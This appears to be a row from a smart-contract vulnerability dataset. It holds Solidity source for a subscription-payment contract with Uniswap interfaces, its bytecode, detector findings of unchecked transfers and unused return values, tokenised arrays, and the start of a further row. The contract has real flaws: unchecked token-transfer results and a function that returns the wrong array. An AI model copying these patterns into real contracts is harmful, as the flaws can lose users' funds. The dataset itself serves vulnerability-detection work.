event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
abstract contract SubscriptionHistory is Ownable {
event UpdateSubscriptionEntries(address account, uint256 startDate, uint256 endDate,uint256 orderId);
struct SubscriptionInfo {
uint256 amount;
uint256 startTime;
uint256 endTime;
address subscriber;
bool isToken;
bool isETH;
uint256 orderId;
}
struct OrderIdHistory {
uint256 orderId;
}
mapping(address => OrderIdHistory[]) private _subscriberDetailsByAddress;
mapping(address => SubscriptionInfo) private _activeSubscriptionByAddress;
SubscriptionInfo[] internal _subscribers;
constructor() {
SubscriptionInfo memory zeroInfo = SubscriptionInfo(0, 0, 0, address(0),false, false,0);
_subscribers.push(zeroInfo);
}
function addSubscriber(address subscriber, uint256 amount, uint256 startTime, uint256 endTime,bool isToken, bool isETH,uint256 orderId) internal returns (uint256 index) {
index = _subscribers.length;
SubscriptionInfo memory subsInfo = SubscriptionInfo(amount, startTime, endTime,subscriber, isToken,isETH,orderId);
_subscribers.push(subsInfo);
_activeSubscriptionByAddress[subscriber] = subsInfo;
OrderIdHistory memory orderInfo = OrderIdHistory(orderId);
_subscriberDetailsByAddress[subscriber].push(orderInfo);
emit UpdateSubscriptionEntries(subscriber,startTime,endTime,orderId);
}
function getSubscriberByOrderId(uint256 orderId) public view returns(SubscriptionInfo memory subscriberInfo) {
// if no data in map will get 0 index and zeroInfo.
return _subscribers[orderId];
}
function getLastSubscribers(uint256 n) external view returns(SubscriptionInfo[] memory) {
uint256 len = n > _subscribers.length ? _subscribers.length : n;
SubscriptionInfo[] memory subInfo = new SubscriptionInfo[](len);
for (uint256 i = 0; i < len; i++) {
subInfo[i] = _subscribers[_subscribers.length - i - 1];
}
return _subscribers;
}
function getActiveSubscriptionByAddress(address subscriber) external view returns(SubscriptionInfo memory) {
return _activeSubscriptionByAddress[subscriber];
}
function getSubscriptionHistoryByAddres(address subscriber, uint256 n) external view returns(SubscriptionInfo[] memory) {
uint256 len = n > _subscribers.length ? _subscribers.length : n;
SubscriptionInfo[] memory subInfo = new SubscriptionInfo[](len);
OrderIdHistory[] memory oIdHistory = _subscriberDetailsByAddress[subscriber];
for (uint256 i = 0; i < oIdHistory.length; i++) {
subInfo[i] = _subscribers[oIdHistory[i].orderId];
}
return subInfo;
}
function getSubscriptionOrderIdHistory(address subscriber) external view returns(OrderIdHistory[] memory) {
return _subscriberDetailsByAddress[subscriber];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
} | 0x60806040526004361061026e5760003560e01c80638da5cb5b11610153578063c69bebe4116100cb578063f2fde38b1161007f578063f713c21411610064578063f713c214146106cf578063faa0a264146106e5578063fc0c546a146106fa57600080fd5b8063f2fde38b1461068f578063f4a64626146106af57600080fd5b8063d0c2285f116100b0578063d0c2285f14610639578063d5dea2f71461064f578063eb22cf7d1461066f57600080fd5b8063c69bebe4146105fa578063d04566441461061a57600080fd5b8063b29a814011610122578063b3f0067411610107578063b3f00674146105a4578063b745ee57146105c4578063be2c579e146105da57600080fd5b8063b29a814014610557578063b36007aa1461057757600080fd5b80638da5cb5b146104d957806398d5fdca146104f75780639c07b84814610521578063a8aa1b311461053757600080fd5b80633ccfd60b116101e65780635dbb51e0116101b55780637a398e121161019a5780637a398e12146104795780637ad3def21461049957806388df18fe146104b957600080fd5b80635dbb51e014610444578063715018a61461046457600080fd5b80633ccfd60b146103c257806340bbdff8146103d7578063530f6a5f146103f757806353a3c4751461041757600080fd5b80631328b8701161023d5780631a197a26116102225780631a197a261461036c578063220646ce1461038c57806327c8f835146103ac57600080fd5b80631328b8701461030b5780631694505e1461032e57600080fd5b80630105da251461027a57806305173a521461029c57806306b929bd146102af578063105869da146102de57600080fd5b3661027557005b600080fd5b34801561028657600080fd5b5061029a6102953660046121b4565b61071a565b005b61029a6102aa3660046121cf565b6107ec565b3480156102bb57600080fd5b506004546102c99060ff1681565b60405190151581526020015b60405180910390f35b3480156102ea57600080fd5b506102fe6102f93660046121b4565b61097d565b6040516102d591906121e8565b34801561031757600080fd5b506103206109f1565b6040519081526020016102d5565b34801561033a57600080fd5b50600454610354906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016102d5565b34801561037857600080fd5b506103206103873660046121b4565b610a01565b34801561039857600080fd5b506102c96103a73660046121cf565b610a95565b3480156103b857600080fd5b5061035461dead81565b3480156103ce57600080fd5b5061029a610b2d565b3480156103e357600080fd5b506103206103f236600461222d565b610ba4565b34801561040357600080fd5b506102c9610412366004612257565b610c78565b34801561042357600080fd5b506104376104323660046121cf565b611021565b6040516102d59190612279565b34801561045057600080fd5b5061043761045f36600461222d565b611272565b34801561047057600080fd5b5061029a611487565b34801561048557600080fd5b5061029a6104943660046121cf565b6114db565b3480156104a557600080fd5b5061029a6104b43660046121b4565b611528565b3480156104c557600080fd5b5061029a6104d43660046121cf565b6115f5565b3480156104e557600080fd5b506000546001600160a01b0316610354565b34801561050357600080fd5b5061050c611642565b604080519283526020830191909152016102d5565b34801561052d57600080fd5b5061032060085481565b34801561054357600080fd5b50600554610354906001600160a01b031681565b34801561056357600080fd5b506102c961057236600461222d565b611753565b34801561058357600080fd5b506105976105923660046121b4565b6118ed565b6040516102d59190612307565b3480156105b057600080fd5b50600b54610354906001600160a01b031681565b3480156105d057600080fd5b5061032060075481565b3480156105e657600080fd5b5061029a6105f536600461236f565b6119ba565b34801561060657600080fd5b5061029a6106153660046121b4565b611a1c565b34801561062657600080fd5b506004546102c990610100900460ff1681565b34801561064557600080fd5b50610320600c5481565b34801561065b57600080fd5b5061059761066a3660046121cf565b611ae9565b34801561067b57600080fd5b5061029a61068a36600461236f565b611bc6565b34801561069b57600080fd5b5061029a6106aa3660046121b4565b611c21565b3480156106bb57600080fd5b5061029a6106ca3660046121cf565b611cf1565b3480156106db57600080fd5b5061032060095481565b3480156106f157600080fd5b506102c9611d3e565b34801561070657600080fd5b50600a54610354906001600160a01b031681565b6000546001600160a01b031633146107675760405162461bcd60e51b815260206004820181905260248201526000805160206124fe83398151915260448201526064015b60405180910390fd5b6001600160a01b0381166107bd5760405162461bcd60e51b815260206004820152601760248201527f43616e206e6f74206265205a65726f2061646472657373000000000000000000604482015260640161075e565b6005805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60045460ff1661083e5760405162461bcd60e51b815260206004820152601960248201527f537562206973204e6f742061637469766520466f722045544800000000000000604482015260640161075e565b806007148061084d575080601e145b6108995760405162461bcd60e51b815260206004820152601b60248201527f546869732073756273206973206e6f7420737570706f727465642e0000000000604482015260640161075e565b80600714156108f9573460085411156108f45760405162461bcd60e51b815260206004820152601460248201527f496e73756666696369656e742042616c616e6365000000000000000000000000604482015260640161075e565b61094b565b34600954111561094b5760405162461bcd60e51b815260206004820152601460248201527f496e73756666696369656e742042616c616e6365000000000000000000000000604482015260640161075e565b61097933344261095e85620151806123a2565b61096890426123c1565b60006001610974611e80565b611e97565b5050565b6001600160a01b0381166000908152600160209081526040808320805482518185028101850190935280835260609492939192909184015b828210156109e6576000848152602090819020604080518084019091529084015481528252600190920191016109b5565b505050509050919050565b60006109fc60065490565b905090565b600a546040517fdd62ed3e0000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152306024830152600092169063dd62ed3e90604401602060405180830381865afa158015610a6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8f91906123d9565b92915050565b600a546040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018390526000916001600160a01b03169063095ea7b3906044016020604051808303816000875af1158015610b00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2491906123f2565b50600192915050565b6000546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b6040514790339082156108fc029083906000818181858888f19350505050158015610979573d6000803e3d6000fd5b600080546001600160a01b03163314610bed5760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b6001600160a01b038316610c435760405162461bcd60e51b815260206004820152601760248201527f43616e206e6f74206265205a65726f2061646472657373000000000000000000604482015260640161075e565b610c6c83600042610c5786620151806123a2565b610c6190426123c1565b600080610974611e80565b506006545b9392505050565b6000610c8333610a01565b831115610cf85760405162461bcd60e51b815260206004820152602960248201527f506c6561736520617070726f766520746f6b656e73206265666f72652074726160448201527f6e7366657272696e670000000000000000000000000000000000000000000000606482015260840161075e565b600454610100900460ff16610d4f5760405162461bcd60e51b815260206004820152601b60248201527f537562206973204e6f742061637469766520466f7220546f6b656e0000000000604482015260640161075e565b8160071480610d5e575081601e145b610daa5760405162461bcd60e51b815260206004820152601b60248201527f546869732073756273206973206e6f7420737570706f727465642e0000000000604482015260640161075e565b600080610db5611642565b9092509050846007851415610e1b5782861015610e145760405162461bcd60e51b815260206004820152601960248201527f4e6f7420656e6f75676820746f6b656e20737570706c69656400000000000000604482015260640161075e565b5081610e6e565b81861015610e6b5760405162461bcd60e51b815260206004820152601960248201527f4e6f7420656e6f75676820746f6b656e20737570706c69656400000000000000604482015260640161075e565b50805b600c54819015610f24576000606483600c54610e8a91906123a2565b610e94919061240f565b600a54600b546040516323b872dd60e01b81523360048201526001600160a01b0391821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af1158015610ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1591906123f2565b50610f208184612431565b9250505b8115610fea57600a546040516323b872dd60e01b815233600482015261dead6024820152604481018490526001600160a01b03909116906323b872dd906064016020604051808303816000875af1158015610f83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa791906123f2565b5060408051338152602081018490529081018790527f9101ffdf7f446a8cd01ffe1fa15674f7fae32d7e5c8df3b3a5f0612b724f3a809060600160405180910390a15b611013338242610ffd8a620151806123a2565b61100790426123c1565b60016000610974611e80565b506001979650505050505050565b6003546060906000908311611036578261103a565b6003545b905060008167ffffffffffffffff81111561105757611057612448565b6040519080825280602002602001820160405280156110d557816020015b6110c26040518060e0016040528060008152602001600081526020016000815260200160006001600160a01b03168152602001600015158152602001600015158152602001600081525090565b8152602001906001900390816110755790505b50905060005b828110156111b857600380546001906110f5908490612431565b6110ff9190612431565b8154811061110f5761110f61245e565b60009182526020918290206040805160e08101825260059093029091018054835260018101549383019390935260028301549082015260038201546001600160a01b038116606083015260ff600160a01b8204811615156080840152600160a81b90910416151560a082015260049091015460c0820152825183908390811061119a5761119a61245e565b602002602001018190525080806111b090612474565b9150506110db565b506003805480602002602001604051908101604052809291908181526020016000905b828210156112655760008481526020908190206040805160e08101825260058602909201805483526001808201548486015260028201549284019290925260038101546001600160a01b038116606085015260ff600160a01b8204811615156080860152600160a81b90910416151560a08401526004015460c083015290835290920191016111db565b5050505092505050919050565b6003546060906000908311611287578261128b565b6003545b905060008167ffffffffffffffff8111156112a8576112a8612448565b60405190808252806020026020018201604052801561132657816020015b6113136040518060e0016040528060008152602001600081526020016000815260200160006001600160a01b03168152602001600015158152602001600015158152602001600081525090565b8152602001906001900390816112c65790505b506001600160a01b038616600090815260016020908152604080832080548251818502810185019093528083529495509293909291849084015b8282101561139157600084815260209081902060408051808401909152908401548152825260019092019101611360565b50505050905060005b815181101561147c5760038282815181106113b7576113b761245e565b602002602001015160000151815481106113d3576113d361245e565b60009182526020918290206040805160e08101825260059093029091018054835260018101549383019390935260028301549082015260038201546001600160a01b038116606083015260ff600160a01b8204811615156080840152600160a81b90910416151560a082015260049091015460c0820152835184908390811061145e5761145e61245e565b6020026020010181905250808061147490612474565b91505061139a565b509095945050505050565b6000546001600160a01b031633146114cf5760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b6114d9600061213b565b565b6000546001600160a01b031633146115235760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b600855565b6000546001600160a01b031633146115705760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b6001600160a01b0381166115c65760405162461bcd60e51b815260206004820152601760248201527f43616e206e6f74206265205a65726f2061646472657373000000000000000000604482015260640161075e565b600a805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461163d5760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b600955565b6000806000600560009054906101000a90046001600160a01b031690506000806000836001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156116a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c691906124ad565b9250925092506000826dffffffffffffffffffffffffffff16600854856dffffffffffffffffffffffffffff166116fd91906123a2565b611707919061240f565b90506000836dffffffffffffffffffffffffffff16600954866dffffffffffffffffffffffffffff1661173a91906123a2565b611744919061240f565b91989197509095505050505050565b600080546001600160a01b0316331461179c5760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b6001600160a01b0383166117f25760405162461bcd60e51b815260206004820152601760248201527f43616e206e6f74206265205a65726f2061646472657373000000000000000000604482015260640161075e565b600a546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa15801561183b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061185f91906123d9565b90508281101561186e57600080fd5b600a5460405163a9059cbb60e01b81526001600160a01b038681166004830152602482018690529091169063a9059cbb906044016020604051808303816000875af11580156118c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e591906123f2565b949350505050565b61193a6040518060e0016040528060008152602001600081526020016000815260200160006001600160a01b03168152602001600015158152602001600015158152602001600081525090565b506001600160a01b03908116600090815260026020818152604092839020835160e0810185528154815260018201549281019290925291820154928101929092526003810154928316606083015260ff600160a01b8404811615156080840152600160a81b909304909216151560a082015260049091015460c082015290565b6000546001600160a01b03163314611a025760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b600480549115156101000261ff0019909216919091179055565b6000546001600160a01b03163314611a645760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b6001600160a01b038116611aba5760405162461bcd60e51b815260206004820152601760248201527f43616e206e6f74206265205a65726f2061646472657373000000000000000000604482015260640161075e565b600b805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b611b366040518060e0016040528060008152602001600081526020016000815260200160006001600160a01b03168152602001600015158152602001600015158152602001600081525090565b60038281548110611b4957611b4961245e565b60009182526020918290206040805160e08101825260059093029091018054835260018101549383019390935260028301549082015260038201546001600160a01b038116606083015260ff600160a01b8204811615156080840152600160a81b90910416151560a082015260049091015460c082015292915050565b6000546001600160a01b03163314611c0e5760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b6004805460ff1916911515919091179055565b6000546001600160a01b03163314611c695760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b6001600160a01b038116611ce55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161075e565b611cee8161213b565b50565b6000546001600160a01b03163314611d395760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b600c55565b600080546001600160a01b03163314611d875760405162461bcd60e51b815260206004820181905260248201526000805160206124fe833981519152604482015260640161075e565b600a546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015611dd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611df491906123d9565b905060008111611e0357600080fd5b600a5460405163a9059cbb60e01b815261dead6004820152602481018390526001600160a01b039091169063a9059cbb906044016020604051808303816000875af1158015611e56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7a91906123f2565b91505090565b6000611e90600680546001019055565b5060065490565b6000600380549050905060006040518060e001604052808981526020018881526020018781526020018a6001600160a01b0316815260200186151581526020018515158152602001848152509050600381908060018154018082558091505060019003906000526020600020906005020160009091909190915060008201518160000155602082015181600101556040820151816002015560608201518160030160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060808201518160030160146101000a81548160ff02191690831515021790555060a08201518160030160156101000a81548160ff02191690831515021790555060c08201518160040155505080600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060008201518160000155602082015181600101556040820151816002015560608201518160030160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060808201518160030160146101000a81548160ff02191690831515021790555060a08201518160030160156101000a81548160ff02191690831515021790555060c0820151816004015590505060006040518060200160405280858152509050600160008b6001600160a01b03166001600160a01b0316815260200190815260200160002081908060018154018082558091505060019003906000526020600020016000909190919091506000820151816000015550507f6c9cc8c0da2125ca5b0bf20aeec07fee517213b74aa570138e5a151dd4b659728a89898760405161212694939291906001600160a01b0394909416845260208401929092526040830152606082015260800190565b60405180910390a15050979650505050505050565b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146121af57600080fd5b919050565b6000602082840312156121c657600080fd5b610c7182612198565b6000602082840312156121e157600080fd5b5035919050565b6020808252825182820181905260009190848201906040850190845b818110156122215783515183529284019291840191600101612204565b50909695505050505050565b6000806040838503121561224057600080fd5b61224983612198565b946020939093013593505050565b6000806040838503121561226a57600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b81811015612221576122f48385518051825260208101516020830152604081015160408301526001600160a01b03606082015116606083015260808101511515608083015260a0810151151560a083015260c081015160c08301525050565b9284019260e09290920191600101612295565b60e08101610a8f82848051825260208101516020830152604081015160408301526001600160a01b03606082015116606083015260808101511515608083015260a0810151151560a083015260c081015160c08301525050565b8015158114611cee57600080fd5b60006020828403121561238157600080fd5b8135610c7181612361565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156123bc576123bc61238c565b500290565b600082198211156123d4576123d461238c565b500190565b6000602082840312156123eb57600080fd5b5051919050565b60006020828403121561240457600080fd5b8151610c7181612361565b60008261242c57634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156124435761244361238c565b500390565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b60006000198214156124885761248861238c565b5060010190565b80516dffffffffffffffffffffffffffff811681146121af57600080fd5b6000806000606084860312156124c257600080fd5b6124cb8461248f565b92506124d96020850161248f565b9150604084015163ffffffff811681146124f257600080fd5b80915050925092509256fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220e1bca2636765400d7c5f85bca6e4b2e6a26189791dca37abe5e66d267ac83d4864736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2094,
22025,
2581,
23352,
24096,
2497,
2629,
2546,
2629,
2094,
2620,
2094,
2487,
2497,
2581,
2475,
4246,
21084,
8586,
2575,
18939,
2620,
2546,
2475,
2278,
2487,
2094,
14142,
2581,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
2184,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,455 | 0x952Df3E800f0649c2D0b130C206bB547d475387C | // SPDX-License-Identifier: AGPLv3
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
